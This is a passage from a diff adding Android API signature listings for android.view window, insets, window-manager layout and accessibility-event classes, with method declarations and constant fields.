+    method public final void makeActive();
+    method protected abstract void onActive();
+    method public abstract void onConfigurationChanged(android.content.res.Configuration);
+    method public abstract void openPanel(int, android.view.KeyEvent);
+    method public abstract android.view.View peekDecorView();
+    method public abstract boolean performContextMenuIdentifierAction(int, int);
+    method public abstract boolean performPanelIdentifierAction(int, int, int);
+    method public abstract boolean performPanelShortcut(int, int, android.view.KeyEvent, int);
+    method public void registerScrollCaptureCallback(@NonNull android.view.ScrollCaptureCallback);
+    method public final void removeOnFrameMetricsAvailableListener(android.view.Window.OnFrameMetricsAvailableListener);
+    method public boolean requestFeature(int);
+    method @NonNull public final <T extends android.view.View> T requireViewById(@IdRes int);
+    method public abstract void restoreHierarchyState(android.os.Bundle);
+    method public abstract android.os.Bundle saveHierarchyState();
+    method public void setAllowEnterTransitionOverlap(boolean);
+    method public void setAllowReturnTransitionOverlap(boolean);
+    method public void setAttributes(android.view.WindowManager.LayoutParams);
+    method public void setBackgroundBlurRadius(int);
+    method public abstract void setBackgroundDrawable(android.graphics.drawable.Drawable);
+    method public void setBackgroundDrawableResource(@DrawableRes int);
+    method public void setCallback(android.view.Window.Callback);
+    method public abstract void setChildDrawable(int, android.graphics.drawable.Drawable);
+    method public abstract void setChildInt(int, int);
+    method public void setClipToOutline(boolean);
+    method public void setColorMode(int);
+    method public void setContainer(android.view.Window);
+    method public abstract void setContentView(@LayoutRes int);
+    method public abstract void setContentView(android.view.View);
+    method public abstract void setContentView(android.view.View, android.view.ViewGroup.LayoutParams);
+    method public abstract void setDecorCaptionShade(int);
+    method public void setDecorFitsSystemWindows(boolean);
+    method protected void setDefaultWindowFormat(int);
+    method public void setDimAmount(float);
+    method public void setElevation(float);
+    method public void setEnterTransition(android.transition.Transition);
+    method public void setExitTransition(android.transition.Transition);
+    method public abstract void setFeatureDrawable(int, android.graphics.drawable.Drawable);
+    method public abstract void setFeatureDrawableAlpha(int, int);
+    method public abstract void setFeatureDrawableResource(int, @DrawableRes int);
+    method public abstract void setFeatureDrawableUri(int, android.net.Uri);
+    method public abstract void setFeatureInt(int, int);
+    method public void setFlags(int, int);
+    method public void setFormat(int);
+    method public void setGravity(int);
+    method @RequiresPermission(android.Manifest.permission.HIDE_OVERLAY_WINDOWS) public final void setHideOverlayWindows(boolean);
+    method public void setIcon(@DrawableRes int);
+    method public void setLayout(int, int);
+    method public void setLocalFocus(boolean, boolean);
+    method public void setLogo(@DrawableRes int);
+    method public void setMediaController(android.media.session.MediaController);
+    method public abstract void setNavigationBarColor(@ColorInt int);
+    method public void setNavigationBarContrastEnforced(boolean);
+    method public void setNavigationBarDividerColor(@ColorInt int);
+    method public void setPreferMinimalPostProcessing(boolean);
+    method public void setReenterTransition(android.transition.Transition);
+    method public abstract void setResizingCaptionDrawable(android.graphics.drawable.Drawable);
+    method public final void setRestrictedCaptionAreaListener(android.view.Window.OnRestrictedCaptionAreaChangedListener);
+    method public void setReturnTransition(android.transition.Transition);
+    method public void setSharedElementEnterTransition(android.transition.Transition);
+    method public void setSharedElementExitTransition(android.transition.Transition);
+    method public void setSharedElementReenterTransition(android.transition.Transition);
+    method public void setSharedElementReturnTransition(android.transition.Transition);
+    method public void setSharedElementsUseOverlay(boolean);
+    method public void setSoftInputMode(int);
+    method public abstract void setStatusBarColor(@ColorInt int);
+    method public void setStatusBarContrastEnforced(boolean);
+    method public void setSustainedPerformanceMode(boolean);
+    method public void setSystemGestureExclusionRects(@NonNull java.util.List<android.graphics.Rect>);
+    method public abstract void setTitle(CharSequence);
+    method @Deprecated public abstract void setTitleColor(@ColorInt int);
+    method public void setTransitionBackgroundFadeDuration(long);
+    method public void setTransitionManager(android.transition.TransitionManager);
+    method public void setType(int);
+    method public void setUiOptions(int);
+    method public void setUiOptions(int, int);
+    method public abstract void setVolumeControlStream(int);
+    method public void setWindowAnimations(@StyleRes int);
+    method public void setWindowManager(android.view.WindowManager, android.os.IBinder, String);
+    method public void setWindowManager(android.view.WindowManager, android.os.IBinder, String, boolean);
+    method public abstract boolean superDispatchGenericMotionEvent(android.view.MotionEvent);
+    method public abstract boolean superDispatchKeyEvent(android.view.KeyEvent);
+    method public abstract boolean superDispatchKeyShortcutEvent(android.view.KeyEvent);
+    method public abstract boolean superDispatchTouchEvent(android.view.MotionEvent);
+    method public abstract boolean superDispatchTrackballEvent(android.view.MotionEvent);
+    method public abstract void takeInputQueue(android.view.InputQueue.Callback);
+    method public abstract void takeKeyEvents(boolean);
+    method public abstract void takeSurface(android.view.SurfaceHolder.Callback2);
+    method public abstract void togglePanel(int, android.view.KeyEvent);
+    method public void unregisterScrollCaptureCallback(@NonNull android.view.ScrollCaptureCallback);
+    field public static final int DECOR_CAPTION_SHADE_AUTO = 0; // 0x0
+    field public static final int DECOR_CAPTION_SHADE_DARK = 2; // 0x2
+    field public static final int DECOR_CAPTION_SHADE_LIGHT = 1; // 0x1
+    field @Deprecated protected static final int DEFAULT_FEATURES = 65; // 0x41
+    field public static final int FEATURE_ACTION_BAR = 8; // 0x8
+    field public static final int FEATURE_ACTION_BAR_OVERLAY = 9; // 0x9
+    field public static final int FEATURE_ACTION_MODE_OVERLAY = 10; // 0xa
+    field public static final int FEATURE_ACTIVITY_TRANSITIONS = 13; // 0xd
+    field public static final int FEATURE_CONTENT_TRANSITIONS = 12; // 0xc
+    field public static final int FEATURE_CONTEXT_MENU = 6; // 0x6
+    field public static final int FEATURE_CUSTOM_TITLE = 7; // 0x7
+    field @Deprecated public static final int FEATURE_INDETERMINATE_PROGRESS = 5; // 0x5
+    field public static final int FEATURE_LEFT_ICON = 3; // 0x3
+    field public static final int FEATURE_NO_TITLE = 1; // 0x1
+    field public static final int FEATURE_OPTIONS_PANEL = 0; // 0x0
+    field @Deprecated public static final int FEATURE_PROGRESS = 2; // 0x2
+    field public static final int FEATURE_RIGHT_ICON = 4; // 0x4
+    field @Deprecated public static final int FEATURE_SWIPE_TO_DISMISS = 11; // 0xb
+    field public static final int ID_ANDROID_CONTENT = 16908290; // 0x1020002
+    field public static final String NAVIGATION_BAR_BACKGROUND_TRANSITION_NAME = "android:navigation:background";
+    field @Deprecated public static final int PROGRESS_END = 10000; // 0x2710
+    field @Deprecated public static final int PROGRESS_INDETERMINATE_OFF = -4; // 0xfffffffc
+    field @Deprecated public static final int PROGRESS_INDETERMINATE_ON = -3; // 0xfffffffd
+    field @Deprecated public static final int PROGRESS_SECONDARY_END = 30000; // 0x7530
+    field @Deprecated public static final int PROGRESS_SECONDARY_START = 20000; // 0x4e20
+    field @Deprecated public static final int PROGRESS_START = 0; // 0x0
+    field @Deprecated public static final int PROGRESS_VISIBILITY_OFF = -2; // 0xfffffffe
+    field @Deprecated public static final int PROGRESS_VISIBILITY_ON = -1; // 0xffffffff
+    field public static final String STATUS_BAR_BACKGROUND_TRANSITION_NAME = "android:status:background";
+  }
+
+  public static interface Window.Callback {
+    method public boolean dispatchGenericMotionEvent(android.view.MotionEvent);
+    method public boolean dispatchKeyEvent(android.view.KeyEvent);
+    method public boolean dispatchKeyShortcutEvent(android.view.KeyEvent);
+    method public boolean dispatchPopulateAccessibilityEvent(android.view.accessibility.AccessibilityEvent);
+    method public boolean dispatchTouchEvent(android.view.MotionEvent);
+    method public boolean dispatchTrackballEvent(android.view.MotionEvent);
+    method public void onActionModeFinished(android.view.ActionMode);
+    method public void onActionModeStarted(android.view.ActionMode);
+    method public void onAttachedToWindow();
+    method public void onContentChanged();
+    method public boolean onCreatePanelMenu(int, @NonNull android.view.Menu);
+    method @Nullable public android.view.View onCreatePanelView(int);
+    method public void onDetachedFromWindow();
+    method public boolean onMenuItemSelected(int, @NonNull android.view.MenuItem);
+    method public boolean onMenuOpened(int, @NonNull android.view.Menu);
+    method public void onPanelClosed(int, @NonNull android.view.Menu);
+    method public default void onPointerCaptureChanged(boolean);
+    method public boolean onPreparePanel(int, @Nullable android.view.View, @NonNull android.view.Menu);
+    method public default void onProvideKeyboardShortcuts(java.util.List<android.view.KeyboardShortcutGroup>, @Nullable android.view.Menu, int);
+    method public boolean onSearchRequested();
+    method public boolean onSearchRequested(android.view.SearchEvent);
+    method public void onWindowAttributesChanged(android.view.WindowManager.LayoutParams);
+    method public void onWindowFocusChanged(boolean);
+    method @Nullable public android.view.ActionMode onWindowStartingActionMode(android.view.ActionMode.Callback);
+    method @Nullable public android.view.ActionMode onWindowStartingActionMode(android.view.ActionMode.Callback, int);
+  }
+
+  public static interface Window.OnFrameMetricsAvailableListener {
+    method public void onFrameMetricsAvailable(android.view.Window, android.view.FrameMetrics, int);
+  }
+
+  public static interface Window.OnRestrictedCaptionAreaChangedListener {
+    method public void onRestrictedCaptionAreaChanged(android.graphics.Rect);
+  }
+
+  public final class WindowAnimationFrameStats extends android.view.FrameStats implements android.os.Parcelable {
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.WindowAnimationFrameStats> CREATOR;
+  }
+
+  public final class WindowContentFrameStats extends android.view.FrameStats implements android.os.Parcelable {
+    method public int describeContents();
+    method public long getFramePostedTimeNano(int);
+    method public long getFrameReadyTimeNano(int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.WindowContentFrameStats> CREATOR;
+  }
+
+  public class WindowId implements android.os.Parcelable {
+    method public int describeContents();
+    method public boolean isFocused();
+    method public void registerFocusObserver(android.view.WindowId.FocusObserver);
+    method public void unregisterFocusObserver(android.view.WindowId.FocusObserver);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.WindowId> CREATOR;
+  }
+
+  public abstract static class WindowId.FocusObserver {
+    ctor public WindowId.FocusObserver();
+    method public abstract void onFocusGained(android.view.WindowId);
+    method public abstract void onFocusLost(android.view.WindowId);
+  }
+
+  public final class WindowInsets {
+    ctor public WindowInsets(android.view.WindowInsets);
+    method @Deprecated @NonNull public android.view.WindowInsets consumeDisplayCutout();
+    method @Deprecated @NonNull public android.view.WindowInsets consumeStableInsets();
+    method @Deprecated @NonNull public android.view.WindowInsets consumeSystemWindowInsets();
+    method @Nullable public android.view.DisplayCutout getDisplayCutout();
+    method @NonNull public android.graphics.Insets getInsets(int);
+    method @NonNull public android.graphics.Insets getInsetsIgnoringVisibility(int);
+    method @Deprecated @NonNull public android.graphics.Insets getMandatorySystemGestureInsets();
+    method @Nullable public android.graphics.Rect getPrivacyIndicatorBounds();
+    method @Nullable public android.view.RoundedCorner getRoundedCorner(int);
+    method @Deprecated public int getStableInsetBottom();
+    method @Deprecated public int getStableInsetLeft();
+    method @Deprecated public int getStableInsetRight();
+    method @Deprecated public int getStableInsetTop();
+    method @Deprecated @NonNull public android.graphics.Insets getStableInsets();
+    method @Deprecated @NonNull public android.graphics.Insets getSystemGestureInsets();
+    method @Deprecated public int getSystemWindowInsetBottom();
+    method @Deprecated public int getSystemWindowInsetLeft();
+    method @Deprecated public int getSystemWindowInsetRight();
+    method @Deprecated public int getSystemWindowInsetTop();
+    method @Deprecated @NonNull public android.graphics.Insets getSystemWindowInsets();
+    method @Deprecated @NonNull public android.graphics.Insets getTappableElementInsets();
+    method public boolean hasInsets();
+    method @Deprecated public boolean hasStableInsets();
+    method @Deprecated public boolean hasSystemWindowInsets();
+    method @NonNull public android.view.WindowInsets inset(@NonNull android.graphics.Insets);
+    method @NonNull public android.view.WindowInsets inset(@IntRange(from=0) int, @IntRange(from=0) int, @IntRange(from=0) int, @IntRange(from=0) int);
+    method public boolean isConsumed();
+    method public boolean isRound();
+    method public boolean isVisible(int);
+    method @Deprecated @NonNull public android.view.WindowInsets replaceSystemWindowInsets(int, int, int, int);
+    method @Deprecated @NonNull public android.view.WindowInsets replaceSystemWindowInsets(android.graphics.Rect);
+    field @NonNull public static final android.view.WindowInsets CONSUMED;
+  }
+
+  public static final class WindowInsets.Builder {
+    ctor public WindowInsets.Builder();
+    ctor public WindowInsets.Builder(@NonNull android.view.WindowInsets);
+    method @NonNull public android.view.WindowInsets build();
+    method @NonNull public android.view.WindowInsets.Builder setDisplayCutout(@Nullable android.view.DisplayCutout);
+    method @NonNull public android.view.WindowInsets.Builder setInsets(int, @NonNull android.graphics.Insets);
+    method @NonNull public android.view.WindowInsets.Builder setInsetsIgnoringVisibility(int, @NonNull android.graphics.Insets) throws java.lang.IllegalArgumentException;
+    method @Deprecated @NonNull public android.view.WindowInsets.Builder setMandatorySystemGestureInsets(@NonNull android.graphics.Insets);
+    method @NonNull public android.view.WindowInsets.Builder setPrivacyIndicatorBounds(@Nullable android.graphics.Rect);
+    method @NonNull public android.view.WindowInsets.Builder setRoundedCorner(int, @Nullable android.view.RoundedCorner);
+    method @Deprecated @NonNull public android.view.WindowInsets.Builder setStableInsets(@NonNull android.graphics.Insets);
+    method @Deprecated @NonNull public android.view.WindowInsets.Builder setSystemGestureInsets(@NonNull android.graphics.Insets);
+    method @Deprecated @NonNull public android.view.WindowInsets.Builder setSystemWindowInsets(@NonNull android.graphics.Insets);
+    method @Deprecated @NonNull public android.view.WindowInsets.Builder setTappableElementInsets(@NonNull android.graphics.Insets);
+    method @NonNull public android.view.WindowInsets.Builder setVisible(int, boolean);
+  }
+
+  public static final class WindowInsets.Side {
+    method public static int all();
+    field public static final int BOTTOM = 8; // 0x8
+    field public static final int LEFT = 1; // 0x1
+    field public static final int RIGHT = 4; // 0x4
+    field public static final int TOP = 2; // 0x2
+  }
+
+  public static final class WindowInsets.Type {
+    method public static int captionBar();
+    method public static int displayCutout();
+    method public static int ime();
+    method public static int mandatorySystemGestures();
+    method public static int navigationBars();
+    method public static int statusBars();
+    method public static int systemBars();
+    method public static int systemGestures();
+    method public static int tappableElement();
+  }
+
+  public final class WindowInsetsAnimation {
+    ctor public WindowInsetsAnimation(int, @Nullable android.view.animation.Interpolator, long);
+    method @FloatRange(from=0.0f, to=1.0f) public float getAlpha();
+    method public long getDurationMillis();
+    method @FloatRange(from=0.0f, to=1.0f) public float getFraction();
+    method public float getInterpolatedFraction();
+    method @Nullable public android.view.animation.Interpolator getInterpolator();
+    method public int getTypeMask();
+    method public void setAlpha(@FloatRange(from=0.0f, to=1.0f) float);
+    method public void setFraction(@FloatRange(from=0.0f, to=1.0f) float);
+  }
+
+  public static final class WindowInsetsAnimation.Bounds {
+    ctor public WindowInsetsAnimation.Bounds(@NonNull android.graphics.Insets, @NonNull android.graphics.Insets);
+    method @NonNull public android.graphics.Insets getLowerBound();
+    method @NonNull public android.graphics.Insets getUpperBound();
+    method @NonNull public android.view.WindowInsetsAnimation.Bounds inset(@NonNull android.graphics.Insets);
+  }
+
+  public abstract static class WindowInsetsAnimation.Callback {
+    ctor public WindowInsetsAnimation.Callback(int);
+    method public final int getDispatchMode();
+    method public void onEnd(@NonNull android.view.WindowInsetsAnimation);
+    method public void onPrepare(@NonNull android.view.WindowInsetsAnimation);
+    method @NonNull public abstract android.view.WindowInsets onProgress(@NonNull android.view.WindowInsets, @NonNull java.util.List<android.view.WindowInsetsAnimation>);
+    method @NonNull public android.view.WindowInsetsAnimation.Bounds onStart(@NonNull android.view.WindowInsetsAnimation, @NonNull android.view.WindowInsetsAnimation.Bounds);
+    field public static final int DISPATCH_MODE_CONTINUE_ON_SUBTREE = 1; // 0x1
+    field public static final int DISPATCH_MODE_STOP = 0; // 0x0
+  }
+
+  public interface WindowInsetsAnimationControlListener {
+    method public void onCancelled(@Nullable android.view.WindowInsetsAnimationController);
+    method public void onFinished(@NonNull android.view.WindowInsetsAnimationController);
+    method public void onReady(@NonNull android.view.WindowInsetsAnimationController, int);
+  }
+
+  public interface WindowInsetsAnimationController {
+    method public void finish(boolean);
+    method public float getCurrentAlpha();
+    method @FloatRange(from=0.0f, to=1.0f) public float getCurrentFraction();
+    method @NonNull public android.graphics.Insets getCurrentInsets();
+    method @NonNull public android.graphics.Insets getHiddenStateInsets();
+    method @NonNull public android.graphics.Insets getShownStateInsets();
+    method public int getTypes();
+    method public boolean isCancelled();
+    method public boolean isFinished();
+    method public default boolean isReady();
+    method public void setInsetsAndAlpha(@Nullable android.graphics.Insets, @FloatRange(from=0.0f, to=1.0f) float, @FloatRange(from=0.0f, to=1.0f) float);
+  }
+
+  public interface WindowInsetsController {
+    method public void addOnControllableInsetsChangedListener(@NonNull android.view.WindowInsetsController.OnControllableInsetsChangedListener);
+    method public void controlWindowInsetsAnimation(int, long, @Nullable android.view.animation.Interpolator, @Nullable android.os.CancellationSignal, @NonNull android.view.WindowInsetsAnimationControlListener);
+    method public int getSystemBarsAppearance();
+    method public int getSystemBarsBehavior();
+    method public void hide(int);
+    method public void removeOnControllableInsetsChangedListener(@NonNull android.view.WindowInsetsController.OnControllableInsetsChangedListener);
+    method public void setSystemBarsAppearance(int, int);
+    method public void setSystemBarsBehavior(int);
+    method public void show(int);
+    field public static final int APPEARANCE_LIGHT_NAVIGATION_BARS = 16; // 0x10
+    field public static final int APPEARANCE_LIGHT_STATUS_BARS = 8; // 0x8
+    field public static final int BEHAVIOR_DEFAULT = 1; // 0x1
+    field @Deprecated public static final int BEHAVIOR_SHOW_BARS_BY_SWIPE = 1; // 0x1
+    field @Deprecated public static final int BEHAVIOR_SHOW_BARS_BY_TOUCH = 0; // 0x0
+    field public static final int BEHAVIOR_SHOW_TRANSIENT_BARS_BY_SWIPE = 2; // 0x2
+  }
+
+  public static interface WindowInsetsController.OnControllableInsetsChangedListener {
+    method public void onControllableInsetsChanged(@NonNull android.view.WindowInsetsController, int);
+  }
+
+  public interface WindowManager extends android.view.ViewManager {
+    method public default void addCrossWindowBlurEnabledListener(@NonNull java.util.function.Consumer<java.lang.Boolean>);
+    method public default void addCrossWindowBlurEnabledListener(@NonNull java.util.concurrent.Executor, @NonNull java.util.function.Consumer<java.lang.Boolean>);
+    method @NonNull public default android.view.WindowMetrics getCurrentWindowMetrics();
+    method @Deprecated public android.view.Display getDefaultDisplay();
+    method @NonNull public default android.view.WindowMetrics getMaximumWindowMetrics();
+    method public default boolean isCrossWindowBlurEnabled();
+    method public default void removeCrossWindowBlurEnabledListener(@NonNull java.util.function.Consumer<java.lang.Boolean>);
+    method public void removeViewImmediate(android.view.View);
+  }
+
+  public static class WindowManager.BadTokenException extends java.lang.RuntimeException {
+    ctor public WindowManager.BadTokenException();
+    ctor public WindowManager.BadTokenException(String);
+  }
+
+  public static class WindowManager.InvalidDisplayException extends java.lang.RuntimeException {
+    ctor public WindowManager.InvalidDisplayException();
+    ctor public WindowManager.InvalidDisplayException(String);
+  }
+
+  public static class WindowManager.LayoutParams extends android.view.ViewGroup.LayoutParams implements android.os.Parcelable {
+    ctor public WindowManager.LayoutParams();
+    ctor public WindowManager.LayoutParams(int);
+    ctor public WindowManager.LayoutParams(int, int);
+    ctor public WindowManager.LayoutParams(int, int, int);
+    ctor public WindowManager.LayoutParams(int, int, int, int, int);
+    ctor public WindowManager.LayoutParams(int, int, int, int, int, int, int);
+    ctor public WindowManager.LayoutParams(android.os.Parcel);
+    method public final int copyFrom(android.view.WindowManager.LayoutParams);
+    method public String debug(String);
+    method public int describeContents();
+    method public int getBlurBehindRadius();
+    method public int getColorMode();
+    method public int getFitInsetsSides();
+    method public int getFitInsetsTypes();
+    method public final CharSequence getTitle();
+    method public boolean isFitInsetsIgnoringVisibility();
+    method public static boolean mayUseInputMethod(int);
+    method public void setBlurBehindRadius(@IntRange(from=0) int);
+    method public void setColorMode(int);
+    method public void setFitInsetsIgnoringVisibility(boolean);
+    method public void setFitInsetsSides(int);
+    method public void setFitInsetsTypes(int);
+    method public final void setTitle(CharSequence);
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int ALPHA_CHANGED = 128; // 0x80
+    field public static final int ANIMATION_CHANGED = 16; // 0x10
+    field public static final float BRIGHTNESS_OVERRIDE_FULL = 1.0f;
+    field public static final float BRIGHTNESS_OVERRIDE_NONE = -1.0f;
+    field public static final float BRIGHTNESS_OVERRIDE_OFF = 0.0f;
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.WindowManager.LayoutParams> CREATOR;
+    field public static final int DIM_AMOUNT_CHANGED = 32; // 0x20
+    field public static final int FIRST_APPLICATION_WINDOW = 1; // 0x1
+    field public static final int FIRST_SUB_WINDOW = 1000; // 0x3e8
+    field public static final int FIRST_SYSTEM_WINDOW = 2000; // 0x7d0
+    field public static final int FLAGS_CHANGED = 4; // 0x4
+    field public static final int FLAG_ALLOW_LOCK_WHILE_SCREEN_ON = 1; // 0x1
+    field public static final int FLAG_ALT_FOCUSABLE_IM = 131072; // 0x20000
+    field public static final int FLAG_BLUR_BEHIND = 4; // 0x4
+    field public static final int FLAG_DIM_BEHIND = 2; // 0x2
+    field @Deprecated public static final int FLAG_DISMISS_KEYGUARD = 4194304; // 0x400000
+    field @Deprecated public static final int FLAG_DITHER = 4096; // 0x1000
+    field public static final int FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS = -2147483648; // 0x80000000
+    field @Deprecated public static final int FLAG_FORCE_NOT_FULLSCREEN = 2048; // 0x800
+    field @Deprecated public static final int FLAG_FULLSCREEN = 1024; // 0x400
+    field public static final int FLAG_HARDWARE_ACCELERATED = 16777216; // 0x1000000
+    field public static final int FLAG_IGNORE_CHEEK_PRESSES = 32768; // 0x8000
+    field public static final int FLAG_KEEP_SCREEN_ON = 128; // 0x80
+    field @Deprecated public static final int FLAG_LAYOUT_ATTACHED_IN_DECOR = 1073741824; // 0x40000000
+    field @Deprecated public static final int FLAG_LAYOUT_INSET_DECOR = 65536; // 0x10000
+    field @Deprecated public static final int FLAG_LAYOUT_IN_OVERSCAN = 33554432; // 0x2000000
+    field public static final int FLAG_LAYOUT_IN_SCREEN = 256; // 0x100
+    field public static final int FLAG_LAYOUT_NO_LIMITS = 512; // 0x200
+    field public static final int FLAG_LOCAL_FOCUS_MODE = 268435456; // 0x10000000
+    field public static final int FLAG_NOT_FOCUSABLE = 8; // 0x8
+    field public static final int FLAG_NOT_TOUCHABLE = 16; // 0x10
+    field public static final int FLAG_NOT_TOUCH_MODAL = 32; // 0x20
+    field public static final int FLAG_SCALED = 16384; // 0x4000
+    field public static final int FLAG_SECURE = 8192; // 0x2000
+    field public static final int FLAG_SHOW_WALLPAPER = 1048576; // 0x100000
+    field @Deprecated public static final int FLAG_SHOW_WHEN_LOCKED = 524288; // 0x80000
+    field public static final int FLAG_SPLIT_TOUCH = 8388608; // 0x800000
+    field @Deprecated public static final int FLAG_TOUCHABLE_WHEN_WAKING = 64; // 0x40
+    field @Deprecated public static final int FLAG_TRANSLUCENT_NAVIGATION = 134217728; // 0x8000000
+    field @Deprecated public static final int FLAG_TRANSLUCENT_STATUS = 67108864; // 0x4000000
+    field @Deprecated public static final int FLAG_TURN_SCREEN_ON = 2097152; // 0x200000
+    field public static final int FLAG_WATCH_OUTSIDE_TOUCH = 262144; // 0x40000
+    field public static final int FORMAT_CHANGED = 8; // 0x8
+    field public static final int LAST_APPLICATION_WINDOW = 99; // 0x63
+    field public static final int LAST_SUB_WINDOW = 1999; // 0x7cf
+    field public static final int LAST_SYSTEM_WINDOW = 2999; // 0xbb7
+    field public static final int LAYOUT_CHANGED = 1; // 0x1
+    field public static final int LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS = 3; // 0x3
+    field public static final int LAYOUT_IN_DISPLAY_CUTOUT_MODE_DEFAULT = 0; // 0x0
+    field public static final int LAYOUT_IN_DISPLAY_CUTOUT_MODE_NEVER = 2; // 0x2
+    field public static final int LAYOUT_IN_DISPLAY_CUTOUT_MODE_SHORT_EDGES = 1; // 0x1
+    field public static final int MEMORY_TYPE_CHANGED = 256; // 0x100
+    field @Deprecated public static final int MEMORY_TYPE_GPU = 2; // 0x2
+    field @Deprecated public static final int MEMORY_TYPE_HARDWARE = 1; // 0x1
+    field @Deprecated public static final int MEMORY_TYPE_NORMAL = 0; // 0x0
+    field @Deprecated public static final int MEMORY_TYPE_PUSH_BUFFERS = 3; // 0x3
+    field public static final int ROTATION_ANIMATION_CHANGED = 4096; // 0x1000
+    field public static final int ROTATION_ANIMATION_CROSSFADE = 1; // 0x1
+    field public static final int ROTATION_ANIMATION_JUMPCUT = 2; // 0x2
+    field public static final int ROTATION_ANIMATION_ROTATE = 0; // 0x0
+    field public static final int ROTATION_ANIMATION_SEAMLESS = 3; // 0x3
+    field public static final int SCREEN_BRIGHTNESS_CHANGED = 2048; // 0x800
+    field public static final int SCREEN_ORIENTATION_CHANGED = 1024; // 0x400
+    field public static final int SOFT_INPUT_ADJUST_NOTHING = 48; // 0x30
+    field public static final int SOFT_INPUT_ADJUST_PAN = 32; // 0x20
+    field @Deprecated public static final int SOFT_INPUT_ADJUST_RESIZE = 16; // 0x10
+    field public static final int SOFT_INPUT_ADJUST_UNSPECIFIED = 0; // 0x0
+    field public static final int SOFT_INPUT_IS_FORWARD_NAVIGATION = 256; // 0x100
+    field public static final int SOFT_INPUT_MASK_ADJUST = 240; // 0xf0
+    field public static final int SOFT_INPUT_MASK_STATE = 15; // 0xf
+    field public static final int SOFT_INPUT_MODE_CHANGED = 512; // 0x200
+    field public static final int SOFT_INPUT_STATE_ALWAYS_HIDDEN = 3; // 0x3
+    field public static final int SOFT_INPUT_STATE_ALWAYS_VISIBLE = 5; // 0x5
+    field public static final int SOFT_INPUT_STATE_HIDDEN = 2; // 0x2
+    field public static final int SOFT_INPUT_STATE_UNCHANGED = 1; // 0x1
+    field public static final int SOFT_INPUT_STATE_UNSPECIFIED = 0; // 0x0
+    field public static final int SOFT_INPUT_STATE_VISIBLE = 4; // 0x4
+    field public static final int TITLE_CHANGED = 64; // 0x40
+    field public static final int TYPE_ACCESSIBILITY_OVERLAY = 2032; // 0x7f0
+    field public static final int TYPE_APPLICATION = 2; // 0x2
+    field public static final int TYPE_APPLICATION_ATTACHED_DIALOG = 1003; // 0x3eb
+    field public static final int TYPE_APPLICATION_MEDIA = 1001; // 0x3e9
+    field public static final int TYPE_APPLICATION_OVERLAY = 2038; // 0x7f6
+    field public static final int TYPE_APPLICATION_PANEL = 1000; // 0x3e8
+    field public static final int TYPE_APPLICATION_STARTING = 3; // 0x3
+    field public static final int TYPE_APPLICATION_SUB_PANEL = 1002; // 0x3ea
+    field public static final int TYPE_BASE_APPLICATION = 1; // 0x1
+    field public static final int TYPE_CHANGED = 2; // 0x2
+    field public static final int TYPE_DRAWN_APPLICATION = 4; // 0x4
+    field public static final int TYPE_INPUT_METHOD = 2011; // 0x7db
+    field public static final int TYPE_INPUT_METHOD_DIALOG = 2012; // 0x7dc
+    field public static final int TYPE_KEYGUARD_DIALOG = 2009; // 0x7d9
+    field @Deprecated public static final int TYPE_PHONE = 2002; // 0x7d2
+    field @Deprecated public static final int TYPE_PRIORITY_PHONE = 2007; // 0x7d7
+    field public static final int TYPE_PRIVATE_PRESENTATION = 2030; // 0x7ee
+    field public static final int TYPE_SEARCH_BAR = 2001; // 0x7d1
+    field public static final int TYPE_STATUS_BAR = 2000; // 0x7d0
+    field @Deprecated public static final int TYPE_SYSTEM_ALERT = 2003; // 0x7d3
+    field public static final int TYPE_SYSTEM_DIALOG = 2008; // 0x7d8
+    field @Deprecated public static final int TYPE_SYSTEM_ERROR = 2010; // 0x7da
+    field @Deprecated public static final int TYPE_SYSTEM_OVERLAY = 2006; // 0x7d6
+    field @Deprecated public static final int TYPE_TOAST = 2005; // 0x7d5
+    field public static final int TYPE_WALLPAPER = 2013; // 0x7dd
+    field public float alpha;
+    field public float buttonBrightness;
+    field public float dimAmount;
+    field public int flags;
+    field public int format;
+    field public int gravity;
+    field public float horizontalMargin;
+    field public float horizontalWeight;
+    field public int layoutInDisplayCutoutMode;
+    field @Deprecated public int memoryType;
+    field public String packageName;
+    field public boolean preferMinimalPostProcessing;
+    field public int preferredDisplayModeId;
+    field @Deprecated public float preferredRefreshRate;
+    field public int rotationAnimation;
+    field public float screenBrightness;
+    field public int screenOrientation;
+    field public int softInputMode;
+    field @Deprecated public int systemUiVisibility;
+    field public android.os.IBinder token;
+    field public int type;
+    field public float verticalMargin;
+    field public float verticalWeight;
+    field public int windowAnimations;
+    field public int x;
+    field public int y;
+  }
+
+  public final class WindowMetrics {
+    ctor public WindowMetrics(@NonNull android.graphics.Rect, @NonNull android.view.WindowInsets);
+    method @NonNull public android.graphics.Rect getBounds();
+    method @NonNull public android.view.WindowInsets getWindowInsets();
+  }
+
+}
+
+package android.view.accessibility {
+
+  public final class AccessibilityEvent extends android.view.accessibility.AccessibilityRecord implements android.os.Parcelable {
+    ctor public AccessibilityEvent();
+    ctor public AccessibilityEvent(int);
+    ctor public AccessibilityEvent(@NonNull android.view.accessibility.AccessibilityEvent);
+    method public void appendRecord(android.view.accessibility.AccessibilityRecord);
+    method public int describeContents();
+    method public static String eventTypeToString(int);
+    method public int getAction();
+    method public int getContentChangeTypes();
+    method public long getEventTime();
+    method public int getEventType();
+    method public int getMovementGranularity();
+    method public CharSequence getPackageName();
+    method public android.view.accessibility.AccessibilityRecord getRecord(int);
+    method public int getRecordCount();
+    method public int getWindowChanges();
+    method public void initFromParcel(android.os.Parcel);
+    method public static android.view.accessibility.AccessibilityEvent obtain(int);
+    method public static android.view.accessibility.AccessibilityEvent obtain(android.view.accessibility.AccessibilityEvent);
+    method public static android.view.accessibility.AccessibilityEvent obtain();
+    method public void setAction(int);
+    method public void setContentChangeTypes(int);
+    method public void setEventTime(long);
+    method public void setEventType(int);
+    method public void setMovementGranularity(int);
+    method public void setPackageName(CharSequence);
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int CONTENT_CHANGE_TYPE_CONTENT_DESCRIPTION = 4; // 0x4
+    field public static final int CONTENT_CHANGE_TYPE_PANE_APPEARED = 16; // 0x10
